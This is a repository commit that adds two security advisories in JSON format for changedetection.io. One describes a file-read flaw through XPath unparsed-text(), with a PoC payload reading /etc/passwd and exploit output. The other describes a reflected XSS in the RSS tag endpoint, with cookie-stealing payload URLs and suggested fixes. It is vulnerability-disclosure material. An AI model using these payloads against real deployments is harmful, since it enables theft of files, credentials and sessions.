Skip to content

Commit 3c2661a

Browse files
1 parent ca61b4a commit 3c2661a

2 files changed

Lines changed: 137 additions & 0 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6fmw-82m7-jq6p",
4+
"modified": "2026-03-04T20:59:35Z",
5+
"published": "2026-03-04T20:59:35Z",
6+
"aliases": [
7+
"CVE-2026-29039"
8+
],
9+
"summary": "changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()",
10+
"details": "### Summary\n- The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.\n\n- XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.\n\n\n### Data Flow\n\n```\nUser Input (include_filters field)\n ↓\nforms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety\n ↓\nWatch configuration stored in datastore\n ↓\nScheduled fetch triggers html_tools.py processing\n ↓\nhtml_tools.py:xpath_filter() at line 213\n ↓\nelementpath.select(root, xpath_expression, parser=XPath3Parser)\n ↓\nXPath 3.0 unparsed-text('file:///etc/passwd') executed\n ↓\nFile contents returned as \"filtered content\"\n ↓\nStored as snapshot, viewable in UI\n\n```\n\n**Affected Code**\n**File:** changedetectionio/html_tools.py\n**Function:** xpath_filter()\n**Lines:** 187-220\n\n```\ndef xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):\n # ...\n from elementpath import XPath3Parser # XPath 3.0 with dangerous functions\n # ...\n r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213\n\n```\n\nValidation (forms.py):\n\n```\nclass ValidateCSSJSONXPATHInput:\n def __call__(self, form, field):\n # Only checks if XPath is syntactically valid\n # Does NOT check for dangerous functions like unparsed-text()\n\n```\n\n### Details\n\n- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance\n- Create a new watch with any valid URL (e.g., https://example.com)\n- Edit the watch and set the \"CSS/JSONPath/JQ/XPath Filters\" field to:\n\n```\nxpath:unparsed-text('file:///etc/passwd')\n```\n\n- Save and trigger a recheck\n- View the preview/snapshot - the file contents will be displayed\n\n<img width=\"2800\" height=\"1108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017\" />\n\n### PoC\n\npython script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py\n\n```\npython3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd\n\n╔═══════════════════════════════════════════════════════════════╗\n║ XPath 3.0 Arbitrary File Read Exploit ║\n║ Target: changedetection.io ║\n║ Vulnerability: unparsed-text() in XPath filters ║\n╚═══════════════════════════════════════════════════════════════╝\n \n[*] Creating new watch for https://example.com...\n[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1\n[*] Setting XPath filter to read: /etc/passwd\n[+] XPath filter set successfully\n[*] Triggering recheck...\n[*] Waiting for check to complete...\n[*] Retrieving file contents...\n\n[+] SUCCESS! File contents retrieved:\n============================================================\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n\n============================================================\n[*] Cleaning up (deleting watch)...\n\n```\n\n\n### Impact\n- Read any file accessible to the application process\n- Exfiltrate sensitive configuration files, credentials, API keys\n- Read application source code\n- Access database files if file-based (SQLite)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "changedetection.io"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.54.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.54.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/dgtlmoon/changedetection.io"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-94"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-04T20:59:35Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8whx-v8qq-pq64",
4+
"modified": "2026-03-04T20:58:14Z",
5+
"published": "2026-03-04T20:58:14Z",
6+
"aliases": [
7+
"CVE-2026-29038"
8+
],
9+
"summary": "changedetection.io has Reflected XSS in its RSS Tag Error Response",
10+
"details": "A reflected cross-site scripting (XSS) vulnerability was identified in the `/rss/tag/` endpoint of changedetection.io. The `tag_uuid` path parameter is reflected directly in the HTTP response body without HTML escaping. Since Flask returns `text/html` by default for plain string responses, the browser parses and executes injected JavaScript.\n\nThis vulnerability persists in version **0.54.1**, which patched the related XSS in `/rss/watch/` (CVE-2026-27645 / GHSA-mw8m-398g-h89w) but did not address the identical pattern in the tag RSS endpoint.\n\n## Package\n\n- **Ecosystem:** pip\n- **Package:** changedetection.io\n- **Affected versions:** <= 0.54.1\n- **Patched versions:** _(none yet)_\n\n\n## Severity\n**Moderate - CVSS 6.1**\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n\n\n## Details\n**File:** `changedetectionio/blueprint/rss/tag.py` **Line:** 36 **Source:** [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py)\n\nThe `tag_uuid` parameter from the URL path is interpolated into the response body using an f-string with no escaping:\n\n```python\ntag = datastore.data['settings']['application'].get('tags', {}).get(tag_uuid)\nif not tag:\n return f\"Tag with UUID {tag_uuid} not found\", 404 # ← No escaping, Content-Type: text/html\n\n```\n\nFlask's default `Content-Type` for plain string responses is `text/html; charset=utf-8`, so any HTML/JavaScript injected via `{tag_uuid}` is rendered and executed by the browser.\n\n### Relationship to CVE-2026-27645\n\nCVE-2026-27645 (GHSA-mw8m-398g-h89w) addressed the identical vulnerability pattern in `/rss/watch/` (`single_watch.py`). The fix applied in v0.54.1 patched that endpoint but **did not** fix the same pattern in `/rss/tag/` (`tag.py`). Testing confirms:\n\n- **`/rss/watch/` on v0.54.1** — Returns generic 404 page, XSS no longer triggers ✅\n- **`/rss/tag/` on v0.54.1** — XSS payload still fires, vulnerability confirmed ❌\n\n## Attack Vector\n\nThe attack requires a valid RSS access token, which is a 32-character hex string exposed in the `<link>` HTML tag on the homepage without authentication:\n\n1. Attacker visits the target's homepage (if unauthenticated) and extracts the RSS token from the `<link>` tag\n2. Crafts a malicious URL:\n \n ```\n http://target:5000/rss/tag/<img src=x onerror=alert(document.cookie)>?token=EXTRACTED_TOKEN\n \n ```\n \n3. Sends the link to a victim who has an active session on the changedetection.io instance\n4. When the victim clicks the link, the server responds with:\n \n ```\n Tag with UUID <img src=x onerror=alert(document.cookie)> not found\n \n ```\n \n5. The browser renders the `<img>` tag, the `onerror` fires, and JavaScript executes in the victim's session context\n\n## Proof of Concept\n\n### Request\n\n```http\nGET /rss/tag/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token=60b83b06df98b24c66367bc3d233105b HTTP/1.1\nHost: localhost:5000\n\n```\n\n### Response\n\n```http\nHTTP/1.1 404 NOT FOUND\nContent-Type: text/html; charset=utf-8\n\nTag with UUID <img src=x onerror=alert(document.domain)> not found\n\n```\n\nThe XSS payload is reflected unescaped in an HTML response. The browser executes `alert(document.domain)` and displays \"localhost\", confirming JavaScript execution.\n\n**Tested on:** changedetection.io v0.54.1 (Docker, localhost, Feb 25, 2026)\n\n\nhttps://github.com/user-attachments/assets/6db07f6a-6df8-48a7-a597-9f39dfa1bb29\n\n\n## Impact\n\n- **Session cookie theft** via `document.cookie` exfiltration\n- **Account takeover** if session cookies lack the `HttpOnly` flag\n- **Phishing** via crafted links that appear to originate from a trusted changedetection.io instance\n- **Low exploitation barrier** - the RSS token is obtainable without authentication from the homepage `<link>` tag\n- **Widespread exposure** - prior scanning of internet-facing instances (during CVE-2026-27645 research) identified 500+ publicly accessible deployments\n\n## Suggested Fix\n\nEscape the `tag_uuid` parameter before reflecting it in the response, or set the `Content-Type` to `text/plain`:\n\n### Option A: HTML Escape (Recommended)\n\n```python\nfrom markupsafe import escape\n\nif not tag:\n return f\"Tag with UUID {escape(tag_uuid)} not found\", 404\n\n```\n\n### Option B: Set Content-Type to text/plain\n\n```python\nfrom flask import make_response\n\nif not tag:\n resp = make_response(f\"Tag with UUID {tag_uuid} not found\", 404)\n resp.headers['Content-Type'] = 'text/plain; charset=utf-8'\n return resp\n\n```\n## Credits\n\n- **Roberto Nunes** ([@Akokonunes](https://github.com/Akokonunes)) - Reporter\n- **neo-ai-engineer** ([@neo-ai-engineer](https://github.com/neo-ai-engineer)) - Reporter\n\n## References\n- Related advisory: [GHSA-mw8m-398g-h89w](https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w) (CVE-2026-27645)\n- Vulnerable source: [tag.py @ 1d72716](https://raw.githubusercontent.com/dgtlmoon/changedetection.io/1d72716c6988a4f6796bb85a5d42872800cd7a70/changedetectionio/blueprint/rss/tag.py)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "changedetection.io"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.54.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-8whx-v8qq-pq64"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/dgtlmoon/changedetection.io/commit/ec7d56f85d1e9690fca7cb4711c1fb20dffec780"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/dgtlmoon/changedetection.io"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-79"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-03-04T20:58:14Z",
67+
"nvd_published_at": null
68+
}
69+
}

0 commit comments

Comments
 (0)